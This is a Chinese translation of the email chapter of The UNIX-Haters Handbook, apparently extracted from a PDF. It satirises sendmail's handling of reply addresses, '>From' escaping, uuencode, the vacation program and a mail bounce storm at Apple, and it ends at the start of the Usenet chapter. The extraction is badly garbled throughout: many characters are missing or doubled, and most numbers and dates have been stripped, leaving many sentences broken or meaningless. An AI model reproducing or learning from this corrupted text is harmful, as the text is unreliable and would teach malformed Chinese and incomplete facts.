没没 法 邮 差 帮 你 做 , 但 使 唤 投 递 程程 序 去去 。 例 如 当 回 复 电 子 邮 件 时 , 你<br />
不 必 自 己 寄 出 回 邮 信 封封 , 计 算 机 帮 你 做 了 。 计 算 机 就就 像 忆 力 超 群 的 管 家 ,<br />
不 仅 知 道 该 把把 回 信 发发 到 哪 儿 ( 寄 信 人 地 址 , 计 算 机 称 “ 回 复 ” 域 ), 还<br />
知 道 信 件 来 自 哪 ( 保 存 在 “ 来 自 ” 域 )。 规 写 得 清 清 楚楚 楚楚 , 回 信 当 发发<br />
给 “ 回 复 ” 地 址 , 而 不 是 “ 来 自 ” 地 址 , 但 Unix 无 情 地 践 踏 了 大 家 的 信 任 。<br />
那 些 笃 信 Unix 的 人 认 Unix 没没 错 , 是 用 程程 序 搞搞 砸 了 , 很 像 是 特 律 在 <br />
争 不 力 时 把把 任 推 给 车 。<br />
看 看 这 一 串 邮 件 , 开 头 是 戴 文 核 麦 卡 洛<br />
<br />
向 邮 件 列 表表 PAGAN-<br />
ISM 的 一 个 订 阅 者 抱抱 怨 , 者 将将 邮 件 发发 给 了 PAGANISM-REQUEST@M-<br />
C.LCS.MIT.EDU, 而 不 是 PAGANISM@MC.LCS.MIT.EDU<br />
来 自 戴 文 核 西 核 麦 卡 洛 <br />
发发 给 <br />
<br />
译 注 Devon Sean McCullough。<br />
和 UNIX 痛 者 没没 系 。
来掆 自 :<br />
· ·<br />
这 封封 信 发发 到 了 PAGANISM-REQUEST, 而 不 是 PAGANISM。 你 或或 者 你 的 ‘r 盖 键 搞搞 错 了 , 要<br />
不 就就 是 这 个 邮 件 列 表表 搞搞 错 了 。 不 管 是 哪 种 情 况 , 你 大 概概 要 尝尝 试 再 发发 一 。<br />
盒 盒 戴 文<br />
收 到 邮 件 的 无 知 用 户户 给 戴 文 回 复 , 题 既 不 在 他 自 己 , 不 在<br />
sendmail, 而 在 PAGANISM 邮 件 列 表表 <br />
期 Sun, Jan :: PST<br />
来 自 <br />
发发 给 戴 文 核 西 核 麦 卡 洛 <br />
> 来 自 我 的 看 法 这 摘摘 要 处 理 程程 序 有 题 。 我 使 用 Berkeley Unix Mail, 这 个 投 递 程程 序 忽<br />
略 “ 回 复 ” 域 , 而 使 用 “ 来 自 ” 域 。 所 要 得 到 确 的 地 址 , 我 要 么 得 按按 格 键 直 到 删<br />
除 “-”, 要 么 把把 邮 件 保 存 来 编 辑 再 想 法 发发 出 去去 。 这 嘛 ? 因 我 很 少少 在<br />
MIT 向 PAGANISM 发发 信 。<br />
有 人 一 语 道 破 机 <br />
期 Mon, Jan :: EST<br />
来 自 艾 伦 核 鲍 登 <br />
题 真 郁 闷<br />
注 意 Unix 用 户户 的 型 推 理 方 式 <br />
因 <br />
“ 摘摘 要 处 理 程程 序 确 生 了 ‘ 回 复 盖 域 , 指指 望 你 的 邮 件 在 解解 析 邮 件 头<br />
时 , 能 遵 有 循 的 、 标 准 义 的 RFC 方 式 。Berkeley Unix Mail 却 反<br />
道 而 行 , 有 悖 常 理 地 将将 ‘ 回 复 盖 域 扔 到 一 边 , 错 误 地 使 用 了 ‘ 来 自 盖<br />
域 。”<br />
“ 摘摘 要 处 理 程程 序 有 题 。”<br />
坦 白 地 讲 , 我 认 整 个 人 类 都 在 难 , 在 来 的 几 百 , 我 们 必 被被 自 己 生 的 废<br />
物 品 噎 死 。<br />
当 指指 出 , 在 修 复 了 这 个 题 , 现 在 Berkeley Mail 已 经 确 地 遵<br />
循 “ 回 复 ” 域 了 。 但 是 又 回 来 , 这 种 “Unix 现 是 比 标 准 身 更 精 确<br />
的 标 准 ” 的 度 却 一 直 延 续 到 今 。 例 子 不 胜 枚 举 , 比 如 因 特 网 程程 任 组<br />
(IETF) 就就 在 写 因 特 网 的 RFC“ 标 准 ”, 期 与 现 标 准 的 Unix 程程 序 行<br />
一 致 。<br />
<br />
译 注 Internet Engineering Task Force。
· · 邮 件<br />
> 来掆 自 Unix, 充 满 爱 心<br />
法 律 禁 美 国 邮 政 在 投 递 过 程程 中 篡 改 信 件 盒 盒 涂 写 信 封封 , 但 不 能 打<br />
开 信 封封 涂 写 内 容 。 至 于 Unix, 你 懂 的 , 当 然 要 和 计 算 机 的 规 对 着 ,Unix<br />
藐 视 规 。<br />
例 如 你 是 否 注 意 到 过 前 一 封封 电 子 邮 件 中 小小 小小 的 “>” 符 ? 不 是 我 们 <br />
的 , 不 是 发发 信 人 的 ,sendmail 的 , 就就 像 这 封封 信 指指 出 的 一 <br />
期 Thu, Jun : EDT<br />
来 自 pgs@xx.lcs.mit.edu<br />
发发 给 UNIX 痛 者<br />
题 投 递 程程 序 长 的 瘊 子<br />
你 有 没没 有 好 过 , 究 Unix 邮 件 阅 读 程程 序 如 何 分 解解 邮 件 ? 看 看 那 些 经 UUCP 转 发发 的 邮<br />
件 , 被被 废 物 投 递 程程 序 糟 蹋 得 目 全 非 , 无 一 例 外 被被 塞 了 它 邮 件 的 内 容 , 每 行 前 都<br />
带 着 怪 的 字 符 。 比 如 <br />
期 Tue, Feb :: EDT<br />
来 自 Unix 拥拥 趸 <br />
发发 给 net.soc.singles.sf-lovers.lobotomies.astronomy.laser-lovers.unix.wizards.news.group<br />
你 的 一 封封 信 想 和 我 吵 架 , 但 你 肯 没没 搞搞 清 楚楚 自 己 的 想 法 , 当 你 <br />
> >> %> $> Received: from magilla.uucp by gorilla.uucp<br />
> >> %> $> via uunet with sendmail<br />
> >> %> $> ......<br />
这 封封 邮 件 发发 给 所 有 不 想 看 你 大 发发 雷 霆 的 人 。 发发 前 最 好 想 清 楚楚 , 像 这 <br />
> 来 自 你 的 计 算 机 的 邮 件 还 是 别 发发 的 好 ):-(。<br />
就就 是 这 ! 什 么 第 二 行 开 头 的 “ 来 自 ” 前 有 个 尖尖 括括 ? 我 是 , 你 大 概概 这 <br />
Unix 粉 丝 互 相 交 谈 时 的 某 种 暗 语 , 表表 示 他 们 是 在 某 个 超 长 的 版 中 引 用 前 第 <br />
个 回 帖 。 但 你 错 了 , 这 个 尖尖 括括 是 投 递 程程 序 放 的 。 邮 件 的 阅 读 程程 序 将将 “ 来 自 ” 开<br />
头 的 行 作 分 解解 邮 件 的 依 据据 , 所 投 递 程程 序 必 修 改 这 的 行 , 免 得 阅 读 程程 序 晕 菜 。 你<br />
给 自 己 发发 一 封封 信 , 让 中 一 行 “ 来 自 ” 开 头 , 然 验 证 我 的 法 。<br />
这 个 观 点 很 要 , 值 得 复 一 出 现 “> 来 自 ” 和 Unix 邮 件 系 如 何<br />
从 一 个 邮 箱 ( 按按 照 Unix 的 计 , 这 是 一 个 文 件 而 已 ) 中 区 分 多 封封 邮 件 有<br />
。 了 达 到 这 个 目 的 ,Unix 不 是 使 用 某 种 特 殊 的 控 制 字 符 序 列 , 不 是 把把<br />
控 制 信 息 放 单 独 的 文 件 , 不 是 给 保 存 邮 件 的 文 件 特 殊 的 头 部 , 而 是<br />
假 要 某 行 来 - 自 开 头 , 再 空空 一 格 , 就就 表表 示 一 封封 新 的 邮 件 。<br />
在 电 子 邮 件 内 部 保 存 有捯 关 该 邮 件 的 信 息 , 这 种 做 法 做 带 内 通 信 , 任 何<br />
过 电 信 相 课 程程 的 人 都 知 道 这 个 意 很 馊 , 因 有 时 候 邮 件 身 <br />
包 的 字 符 , 结 果 导 致 sendmail 需 要 找 出 “ 来 自 ” 开 头 的 行 然 全<br />
部 替 换 成 “> 来 自 ”。
来掆 自 :<br />
· ·<br />
目 前 你 能 还 觉 得 这 不 过 是 在 共 场 大 声 打 嗝 , 无 伤 大 。 然 而<br />
这 些 嗝 声 有 能 被被 凝 固 在 开 文 献 中 收 到 来 自 sendmail 的 文 , 印<br />
刷 厂厂 认 出 版 社 业 已 完 成 校 对 , 因 一 字 不 差 地 付 印 , 而 某 些 排排 版 系 特<br />
别 处 理 字 符 “>”, 例 如 LATEX 将将 转 换 倒 放 的 (¿)。 不 信 你 翻 开 帕<br />
托托 核 潘 德 亚 的 文 《 对 组 方 式 验 证 分 布 式 程程 序 的 假 承 诺 范 型 的 意<br />
见 》, 收 录 于 《 分 布 式 系 的 逐 求 精 》 [] , 施 林 格 出 版 的 计 算 机 科 学 讲<br />
义 第 期 , 至 页 。 看 看 第 、 和 页 , 有 段 “ 来 自 ”<br />
开 头 的 段 落 前 都 有 个 “¿”。<br />
Sendmail 有 时 候 并 不 是 投 递 的 最 一 , 但 照 乱 改 邮 件 。 在 这 种 情<br />
况 , 邮 件 的 目 的 地 是 别 的 机 , 是 通 过 运 行 sendmail 的 系 转 发发 。 例<br />
如 在 微 , 人 们 发发 和 阅 读 邮 件 都 是 用 DOS 或或 者 Windows 程程 序 , 但 内 部 邮<br />
件 仍 然 被被 这 些 “> 来 自 ” 骚 扰 。 什 么 ? 在 DOS 系 间 传 输 时 , 邮 件 经 过<br />
了 类 似 Unix 的 机 , 结 果 被被 烙 身 的 印 。<br />
如 果 你 向 ( 收 昂 贵 的 ) 电 子 邮 件 服 商 投 它 的 系 反 协 如<br />
何 ? 想 想 如 果 是 反 法 律 又 如 何 ? 杰 瑞 核 雷 特 投 得 到 回 复 <br />
期 Tue, Mar :: EDT<br />
来 自 杰 瑞 核 雷 特 <br />
题 无 与 伦 比 的 “> 来 自 ”<br />
来 自 某 某 服 表表 <br />
我 和 我 的 事 都 认 这 不 是 臭 虫 。 如 果 你 能 在 RFC 中 找 到 依 据据 我 们 当 然 <br />
去去 修 改 , 但 在 前 我 不 继 续 回 复 你 的 投 。 我 过 了 , 我 已 经 找 过 我<br />
的 管 了 , 这 就就 是 Unix 的 处 理 方 式 , 我 试 过 用 最 新 的 件 发发 邮 件 。 最<br />
RFC 中 的 一 节 <br />
[ 原原 文 已 删 除 ]<br />
我 不 想 再 把把 这 段 精 彩 的 引 文 留 着 , 压 没没 提 转 发发 时 修 改 邮 件 内 容 盒 盒 是 <br />
“ 来 自 ” 和 “> 来 自 ” 开 头 的 行 , 不 管 是 谁 放 来 的 , 在 语 法 都 属属 于 From_Lines。 按按 照<br />
型 的 Unix 推 理 方 式 , 既 然 RFC 没没 有 明 确 禁 , 而 又 提 到 有 这 的 行 存 在 , 那 么 想 必 就就<br />
是 法 的 , 是 吧 ?<br />
最 近 我 读 了 简 单 邮 件 传 输 协 的 月 版 RFC 草 案 。 得 很 清 楚楚 , 不 在 投<br />
递 过 程程 中 修 改 邮 件 , 尽 管 规 了 几 种 例 外 情 况 , 但 无 一 提 到 “>”。 十十 过 去去 了 , 现 状<br />
不 仅 是 RFC 仍 然 没没 能 确 现 盒 盒 即 使 是 在 一 个 服 收 的 商 业 系 中 盒 盒 而 且 人 们 <br />
看 不 到 中 的 题 。<br />
仰 长 啸 。<br />
这 封封 信 是 UNIX 痛 者 的 某 订 阅 者 收 到 的 , 来 自 某 个 要 网 供 商 的 技 术 支 持 表表 的 回 复 。 我<br />
们 把把 的 字 隐 去去 , 不 是 了 包 庇 , 而 是 没没 理 拎 出 这 一 家 事 , 因 所 有 这 类 供 商 都 患 有<br />
“sendmail 就就 是 确 ” 的 癔 病 。
· · 邮 件<br />
uuencode: 又 一 个 补 丁 , 又 一 次 失 败<br />
对 两 个 Unix 用 户户 , 谁 是 新 手手 谁 是 熟 手手 很 容 易 辨 认 。 者 知 道 “><br />
来 自 ” 题 带 来 的 麻 烦 , 但 自 认 有 法 避 免 , 那 就就 是 使 用 uuencode。 这<br />
种 编 码 方 式 仅 用 字 符 对 文 件 编 码 , 而 不 是 Unix 投 递 程程 序 或或 网 系 难<br />
传 输 的 字 符 。 程程 序 uudecode 将将 编 码 的 文 件 解解 码 , 恢 复 成 原原 始 文 件 。<br />
据据 信 经 uuencode 编 码 的 文 件 比 纯 粹 的 文 更 全 , 例 如 不 发发 生 “> 来 自 ”<br />
这 的 题 。 但 是 倒 霉 的 Unix 总 有 法 让 用 户户 难 看 。<br />
期 Tue, Aug :: HKT<br />
来 自 “ 奥 林 核 席 瓦 斯 ”<br />
发发 给 UNIX 痛 者<br />
题 需 要 你 的 帮 <br />
那 些 认 uuencode 能 保 护 邮 件 的 人 真 是 白 做 梦 盒 盒 uuencode 于 事 无 补补 。 这 个 白 痴 程程<br />
序 在 编 码 时 使 用 了 ASCII 空空 格 字 符 , 并 且 把把 一 串 空空 字 符 成 一 串 空空 格 。 多 深 思 熟 虑<br />
的 Unix 投 递 程程 序 从 邮 件 中 剔 除 行 的 空空 格 , 于 是 你 精 心 编 码 的 数 据据 全 毁 了 。 算 了 , 这 就就<br />
是 Unix, 你 还 能 指指 望 什 么 ?<br />
当 然 你 选 择 忍 气 吞 声 , 找 出 长 度 不 对 的 行 , 然 用 空空 白 回 填 盒 盒 这 种 ( 几 肯 <br />
奏 效 ?) 的 方 式 修 复 数 据据 。 价 是 你 的 时 间 , 还 不 算 在 几 个 脑 残 的 所 谓 Unix“ 用 程程 序 ”<br />
打 架 清 场 。<br />
有 空空 给 uuencode 编 码 数 据据 找 找 该 死 的 规 范 。 在 手手 册 页 吗 ? 没没 门 儿 , 去去 读 源 码<br />
盒 盒 那 才 是 “ 规 范 ”。<br />
每 运 行 uuencode 都 给 用 户户 建 一 个 文 件 , 而 不 是 在 标 准 输 入 输 出 间 过 滤 , 我 对 这<br />
种 作 方 式 佩 服 得 五 体 投 地 。 尽 管 tar 已 经 能 够 建 文 件 、 置 权 限 , 及 别 目 录 等<br />
等 等 等 , 但 uuencode 却 不 能 将将 输 出 通 过 管 道 传 递 过 去去 , 而 是 在 内 部 又 直 接接 现 了 一 份<br />
半半 生 不 熟 的 等 价 能 , 一 脑 地 塞 给 用 户户 , 不 管 你 想 不 想 要 。 还 有捯 , 我 真 的 真 的 喜 <br />
uuencode 缺 省 把把 文 件 置 成 人 尽 写 的 傻 。<br />
大 概概 是 Unix 的 逆 袭袭 吧 , 但 就就 是 这 个 臭 虫 咬 中 了 书 的 一 编 辑 。<br />
月 , 在 编 辑 这 封封 信 , 有 人 通 过 电 子 邮 件 向 他 发发 uuencode 编 码 <br />
的 PostScript 格 式 的 文 件 , 结 果 整 整 行 内 容 需 要 手手 回 填 行 的 空空<br />
白 , 不 然 uudecode 就就 无 法 解解 码 出 原原 始 文 件 。<br />
错 误 信 息<br />
Unix 邮 件 系 知 道 自 己 并 不 完 美 , 愿 意 把把 这 个 情 况 告 你 , 但 有 时 候<br />
表表 达 方 式 却 背 直 觉 。 这 有 一 份 清 单 , 列 出 了 人 们 经 常 目 睹 的 错 误 信 息 <br />
0 chiarell... 知 用 户户 不 是 打 字 机<br />
0 ... 知 用 户户 地 址 已 占 用<br />
0 zhang@uni-dortmund.de... 知 用 户户 不 是 自 行 车<br />
阿 我 拒拒 自 言言 自 语<br />
“| /usr/new/lib/mh/slocal -user $USER”... 知 的 投 递 程程 序 错 误
来掆 自 :<br />
· ·<br />
“| filter -v”... 知 的 投 递 程程 序 错 误 <br />
多 收 信 人 但 没没 有 邮 件 内 容<br />
“ 不 是 打 字 机 ” 是 最 常 见 的 sendmail 登 录 错 误 信 息 我 们 估 计 “ 不 是 自<br />
行 车 ” 是 某 个 系 管 理 员 在 玩 默 至 于 “ 多 收 信 人 但 没没 有 邮 件 内 容 ”<br />
是 sendmail 想 当 老 大 , 这 个 程程 序 自 认 比 身 无 者 的 用 户户 见 多 广 ,<br />
因 拒拒 发发 有 标 题 的 邮 件 。<br />
结 是 明 摆 着 的 , 如 果 你 然 收 到 了 邮 件 , 你 发发 出 的 邮 件 然 到 达 了<br />
目 的 地 , 那 运 气 真 好 。 那 些 认 邮 件 系 很 复 杂 难 搞搞 的 Unix 狂 教 徒 错 了 ,<br />
前 的 邮 件 运 行 得 很 好 很 , 一 切 都 是 那 么 和 谐 , 直 到 Unix 来 ,<br />
“” 的 义 把把 一 切 砸 个 稀稀 烂 。<br />
期 Tue, Apr :: -<br />
来 自 艾 伦 核 鲍 宁 <br />
发发 给 UNIX 痛 者<br />
题 vacation 程程 序<br />
于 是 周 我 去去 参参 了 一 个 讨 , 并 立立 成 一 Unix 粉 丝 , 用 vacation 现 自 <br />
邮 件 回 复 , 但 我 的 决 草 率 了 。<br />
这 个 程程 序 的 界 是 型 的 Unix 风 格 ( 需 要 建 .forward 文 件 , 存 放 某 种 神 秘秘 的 咒<br />
语 还 有 .vacation.msg 文 件 , 是 要 自 发发 的 信 息 , 诸 如 类 )。 时 还 有 启 选<br />
-l, 但 我 没没 用 起 来 , 似 是 让 vacation 每 周 给 每 个 发发 信 人 发发 一 自 回 复 。 我 决 <br />
给 自 己 发发 邮 件 测 试 一 , 觉 得 系 肯 允 这 操 作 吧 , 并 且 肯 vacation 无<br />
休 地 发发 自 回 复 。 发发 完 , 我 瞟 了 一 眼 邮 箱 , 好 家 , 封封 信 。 不 用 , 对 是<br />
vacation 的 好 事 。<br />
这 就就 算 了 , 但 vacation 程程 序 最 讨 厌 的 地 方 是 自 回 复 的 格 式 , 手手 册 页 <br />
来 自 eric@ucbmonet.berkeley.edu( 埃 克 核 沃沃 曼 )<br />
题 我 在 休 假<br />
邮 件 发发 多 亏 了 vacation 程程 序<br />
…盚…盚<br />
邮 件 投 递 成 , 如 果 我 有 教 信 仰 , 我 觉 得 多 亏 神 明 保 , 如 果 我 生 活 在 君 国 家 ,<br />
我 觉 得 多 亏 某 皇 胄 的 祝 福 盒 盒 但 决 不 感 到 亏 了 Unix 什 么 , 这 都 哪 跟 哪 啊 。<br />
<br />
译 注 出 自 英 国 作 家 乔 治治 核 奥 威 尔尔 的 政 治治 刺 小小 《 一 四 》。
· · 邮 件<br />
年 苹 果排 电 脑 公 司 发 生 的 邮 件 灾 难<br />
埃 克 核 沃沃 曼 于 在 USENIX 发发 表表 文 , 声 称 sendmail 极 , 因 <br />
每 一 封封 收 到 的 邮 件 , 最 有 几 个 去去 处 发发 给 收 信 人 、 给 寄 信 人 、 发发 给 系<br />
的 postmaster 程程 、 发发 给 管 理 员 , 即 使 在 最 极 端 的 情 况 , 录 到<br />
文 件 中 。 沃沃 曼 写 到 ,“ 性 的 要 来 源 是 责 任 感 ”, 然 继 续 写 到 <br />
例 如 , 当 将将 要 接接 收 一 封封 邮 件 ( 返 回 出 状 或或 者 发发 响 码 ) 时 ,sendmail 都 要 将将 投<br />
递 该 邮 件 的 所 有 信 息 强 制 写 入 磁 。 这 sendmail 就就 递 邮 件 ( 或或 告 知 失 )“ 承 担<br />
了 任 ”。 如 果 邮 件 在 接接 收 前 丢 失 , 那 么 是 发发 方 的 “ 错 误 ” 如 果 在 接接 收 丢 失 ,<br />
才 是 接接 收 邮 件 的 sendmail 的 “ 错 误 ”。<br />
这 种 算 法 有 一 个 隐 的 果 , 那 就就 是 在 某 个 时 间 窗窗 内 , 发发 方 和 接接 收 方 都 认 自 己 对<br />
一 封封 邮 件 负 有 “ 任 ”。 如 果 时 发发 生 故 障 , 那 么 该 邮 件 被被 投 递 两 。 一 般 而 言言 这<br />
没没 什 么 大 不 了 的 , 总 比 丢 失 邮 件 好 得 多 。<br />
将将 一 封封 邮 件 投 递 两 , 而 不 是 一 , 这 个 计 决 策 在 大 多 数 情 况 是<br />
很 有 越 性 的 。 当 然 , 丢 失 邮 件 是 件 事 情 , 但 从 一 方 看 , 在 <br />
sendmail 的 编 写 过 程程 中 , 即 使 在 两 不 计 算 机 的 程程 间 , 现 <br />
保 证 和 原原 子 操 作 的 技 术 已 经 很 成 熟 了 。<br />
期 Thu, May :: -<br />
来 自 “ 埃 克 核 E 核 尔尔 ” ( 你 友 好 的 邮 件 管 理 员 )<br />
发发 给 tcp-ip@nic.ddn.mil、unicode@sun.com、[…盚]<br />
题 发发 生 复 投 递 错 误 的 案 例 一 个 电 子 邮 件 管 理 员 的 惊 悚 故 事<br />
网 环 境 苹 果 程程 网 。<br />
尔尔 (Erik E. Fair) 好 心 允 我 们 印 刷 这 些 发发 到 TCP-IP、UNICODE 和 RISKS 等 邮 件 列 表表 的 内 容 , 但 他<br />
补补 了 一 些 明 “ 我 不 在 UNIX 痛 者 邮 件 列 表表 中 , 我 个 人 没没 有 往 发发 过 任 何 东 西 。 我 不 痛 Unix,<br />
我 USL、Sun、 惠 , 和 一 切 把把 Unix 成 狗 屁 倒 灶 的 供 商 。”<br />
<br />
译 注 The Apple Engineering Network。
年 苹 果排 电 脑 公 司 发 生 的 邮 件 灾 难<br />
· ·<br />
这 个 网 有 大 约 个 IP 子 网 , 个 AppleTalk 域 , 及 超 过 个 AppleTalk 网 <br />
网 的 覆 范 围 从 东 京 到 法 国 巴 黎 , 在 美 国 还 有 若 个 节 点 , 及 硅 谷 的 幢 建<br />
筑 网 和 因 特 网 有 个 接接 点 , 两 个 在 硅 谷 , 一 个 在 波 士 。 每 有 超 过 用<br />
户户 使 用 苹 果 程程 网 。<br />
当 这 个 网 中 的 电 子 邮 件 出 现 题 , 我 就就 有 麻 烦 了 。 我 的 字 尔尔 , 戴 着 牌 。<br />
[ 是 《 法 网 》 的 编 外 篇 ]<br />
你 将将 要 到 一 个 真 的 故 事 , 的 字 都 经 修 改 , 这 是 了 揪揪 出 罪 犯 。<br />
这 是 一 个 周 一 的 傍 晚 , 我 在 理 查 德 核 赫 登 手手 当 值 程程 计 算 机 业 部 的 小小 夜 班 。 我<br />
没没 有 作 搭 档 。<br />
在 阅 读 电 子 邮 件 时 , 我 注 意 到 apple.com, 一 VAX- 的 负 载 陡 升 , 从 常 的 波 范<br />
围 成 超 过 。<br />
调 查 , 我 发发 现 几 千千 因 特 网 机 在 向 我 们 发发 错 误 报 告 , 还 发发 现 我 们 的 邮 件 队<br />
列 中 已 经 有 多 份 报 告 了 。<br />
于 是 我 立立 即 了 在 VAX 提 供 SMTP 服 的 sendmail 护 程程 。<br />
检 查 收 到 的 错 误 报 告 , 我 现 出 事 件 经 过 <br />
我 们 有 一 个 大 的 用 户户 群 体 在 使 用 QuickMail, 这 是 CE 件 开 发发 的 电 子 邮 件 系 ,<br />
在 麦 金 塔 电 脑 很 流 行 。 了 让 这 些 用 户户 能 够 和 使 用 它 系 的 用 户户 通 信 , 程程 计 算 机<br />
业 部 维 护 着 QuickMail 到 因 特 网 邮 件 的 网 , 我 们 使 用 RFC 因 特 网 邮 件 格 式 , 并 将将<br />
RFC 作 通 用 的 中 间 邮 件 格 式 。 了 提 高 互 操 作 的 程程 度 , 我 们 尽 能 将将 一 切 都 转 换 成<br />
标 准 。<br />
我 们 装装 了 StarNine 系 开 发发 的 MAIL*LINK SMTP, 这 个 品 还 有 个 字 凯<br />
门 鳄 系 的 GatorMail-Q 。 这 个 网 每 苹 果 程程 网 的 QuickMail 用 户户<br />
转 发发 邮 件 。<br />
在 我 们 的 用 户户 中 , 有 很 多 人 通 过 QucikMail 订 阅 因 特 网 邮 件 列 表表 , 邮 件 就就 通 过 这 个 网 投<br />
递 到 他 们 手手 。 马 克 核 E 核 戴 维 斯 就就 是 这 些 用 户户 中 的 一 个 , 他 订 阅 了 unicode@sun.com,<br />
在 和 别 人 讨 ASCII 码 的 替 技 术 。<br />
周 一 的 某 个 时 间 , 他 回 复 了 一 封封 从 列 表表 收 到 的 邮 件 。 他 给 原原 先 的 内 容 一 段 ,<br />
然 点 击 “ 发发 ” 按按 钮 。<br />
在 这 个 回 复 的 过 程程 中 , 要 么 是 QuickMail, 要 么 是 MAIL*LINK SMTP, 对 邮 件 的 “ 发发 给 ”<br />
域 行 了 处 理 。<br />
键 是 这 封封 邮 件 的 “ 发发 给 ” 域 有 一 个 “” 字 符 。 这 个 不 起<br />
眼 的 题 和 sendmail 中 的 一 个 臭 虫 沆沆 瀣 一 气 , 结 果 成 了 来 的 大 浩 。<br />
注 意 “ 发发 给 ” 域 中 的 语 法 错 误 和 的 收 件 人 列 表表 没没 系 , 者 是 单 独 处 理 的 , 并 且<br />
在 这 事 件 中 没没 有 任 何 错 误 。<br />
这 封封 邮 件 在 苹 果 程程 网 中 生 , 然 传 到 Sun , 接接 着 发发 生 剧 烈 爆 炸 , 波 及 到 了 邮<br />
件 列 表表 unicode@sun.com 中 的 所 有 成 员 。<br />
Sendmail, 一 般 认 是 Unix 标 准 的 SMTP 护 程程 及 邮 件 户户 端 , 不 喜 这 封封 邮 件 中 的<br />
“ 发发 给 ” 域 的 错 误 结 构 , 但 接接 来 的 所 作 所 才 是 真 的 题 向 发发 方 发发 错 误 报 告 ,<br />
时捉 向 整 个 收 信 人 列 表表 发发 原原 始 邮 件 。<br />
这 要 命 了 。<br />
<br />
译 注 Dragnet, 犯 罪 题 材 的 系 列 电 节 目 、 电 视 剧 和 电 影 , 杰 克 核 韦 伯 始 于 , 最 新 翻 拍 是<br />
的 《 洛 城 法 网 》 系 列 电 视 剧 , 共 两 季 。<br />
<br />
译 注 Richard Herndon。<br />
埃 克 把把 这 些 机 简 单 归 类 “ 因 特 网 机 ”, 但 你 用 甜 饼 打 赌 , 中 大 多 数 都 运 行 Unix。<br />
<br />
译 注 MAIL*LINK SMTP 和 GatorMail-Q 都 是 QuickMail 和 SMTP 间 的 邮 件 网 , 市 销 售 。<br />
<br />
译 注 Mark E. Davis。
· · 邮 件<br />
最 的 效 果 是 这 封封 邮 件 到 达 的 每 机 的 sendmail 程程 都 向 我 们 发发 错 误 报 告 。 我 曾<br />
经 有 过 一 种 怕 的 想 , 不 哪 因 特 网 的 所 有 机 ( 一 共 ) 时 向 我<br />
们 发发 邮 件 , 这 让 我 不 寒 而 栗 。<br />
就就 在 周 一 , 我 们 提 前 品 尝尝 了 个 中 滋 味 。<br />
我 不 知 道 unicode@sun.com 的 范 围 有 多 大 , 但 我 收 到 的 错 误 报 告 来 自 瑞 、、 韩<br />
国 、 澳 大 利 亚 、 不 列 颠 、 法 国 , 及 整 个 美 国 。 据据 我 推 测 列 表表 成 员 至 少少 有 个 ,<br />
中 大 约 % 是 通 过 邮 件 交 换 (MX) 接接 到 因 特 网 的 UUCP 机 。<br />
我 从 苹 果 电 脑 的 邮 件 队 列 中 删 除 了 大 约 份 错 误 报 告 。<br />
当 我 SMTP 服 , 我 们 的 备 用 邮 件 服 时 不 堪 负 。 备 用 服 的 目 的 是 当<br />
服 宕 机 时 , 还 有 别 的 地 方 继 续 接接 收 邮 件 , 然 有 序 地 转 发发 , 而 不 是 让 所 有 邮 件 在<br />
服 新 启 一 拥拥 而 。<br />
我 们 的 备 用 邮 件 服 是 计 算 机 科 学 网 (CSNET) 的 中 继 (relay.cs.net 和 relay.cs.net)<br />
服 。 当 我 把把 情 况 告 负 这 两 机 的 管 理 员 时 , 她 简 直 不 知 所 措 , 她 想 知 道 究 <br />
到 了 什 么 攻 击 。 最 共 删 除 了 多 份 错 误 报 告 。<br />
于 我 们 的 服 处 理 这 些 邮 件 时 过 载 , 每 四 机 中 大 概概 有 一 能 接接 apple.com<br />
并 收 到 这 份 错 误 报 告 , 所 别 的 机 全 都 跑 去去 接接 计 算 机 科 学 网 中 继 服 <br />
。<br />
我 还 计 算 机 科 学 网 的 人 , 从 UUNET 盒 盒 多 它 机 的 要 邮 件 交 换 服 盒 盒 <br />
删 除 了 份 错 误 报 告 。 我 当 外 的 UUCP 站 点 向 我 们 发发 错 误 报 告 时 , 于 苹 果<br />
电 脑 的 邮 件 服 了 ,UUNET 的 调 制 解解 调 一 得 要 死 。<br />
这 个 题 的 发发 作 已 经 过 去去 一 段 时 间 了 , 但 我 仍 然 要 花 大 把把 时 间 来 回 复 世 界 各 地 邮 件 管<br />
理 员 的 询 邮 件 。<br />
第 二 , 我 把把 MAIL*LINK SMTP 换 成 了 个 发发 行 版 的 beta 测 试 版 , 没没 有 出 现 的 题<br />
盒 盒 到 目 前 。<br />
这 个 惊 悚 故 事 还 没没 有 结 。<br />
在 成 千千 万 的 计 算 机 ,sendmail 的 行 依 然 故 我 , 等 一 个 机 用 错 误 报 告 活 埋 那<br />
些 倒 霉 的 网 站 。<br />
一 个 是 你 吗 ?<br />
[ 是 《 魔 界 》 编 外 篇 ]<br />
就就 是 VAX, 人 。 <br />
埃 克 核 E 核 尔尔<br />
fair@apple.com<br />
现 在 超 过 了 盒 盒 编 辑 注 。<br />
<br />
译 注 The Twilight Zone, 美 国 科 电 视 剧 , 至 播播 出 。<br />
<br />
译 注 “Just the facts, ma'am.”( 这 就就 是 事 , 人 ) 是 《 法 网 》 中 的 头 禅 。
年 苹 果排 电 脑 公 司 发 生 的 邮 件 灾 难<br />
· ·
第 章<br />
瞌 睡 网<br />
“ 水 ” 故挦 在<br />
“ 新 闻 网 (Usenet) 是 粪 , 是 粪 堆 。”<br />
盒 盒 帕 克 核 A 核 唐 森森<br />
<br />
有 人 信 息 高 路 即 将将 成 现 。 不 真 假 , 我 们 已 经 必 那 些 慢<br />
慢 吞 吞 、 堵 塞 交 通 的 垃 圾 车 头 痛 了 , 这 些 泥 头 车 就就 是 NNTP 报 文 和 压 缩 的<br />
UUCP 批批 文 件 , 每 都 能 倾 泄泄 铺 地 的 垃 圾 , 而 这 些 垃 圾 有 一 个 称 , 新<br />
闻 网 。<br />
网 络 新 闻 和 新 闻 网 : 在 无捂 挥 府 的 阳 光 长<br />
在 期 , 两 个 北 卡 罗 莱 纳 州 的 研 究 生 立立 了 一 电 链 路 ,<br />
用 来 接接 各 自 学 校 ( 北 卡 罗 莱 纳 大 学 和 杜 克 大 学 ) 的 机 , 他 们 还 编 写 脚 <br />
来 交 换 帖 子 。 和 电 子 邮 件 不 , 这 些 帖 子 被被 保 存 在 一 个 共 区 域 中 , 每 个 人<br />
都 能 阅 读 向 任 意 机 发发 布 帖 子 , 这 个 简 网 中 的 每 机 都 收 到 一<br />
份 拷拷 贝 。<br />
来 这 套 件 被被 称 “news”, 因 目 的 是 让 人 们 ( 一 般 是 研 究 生 )<br />
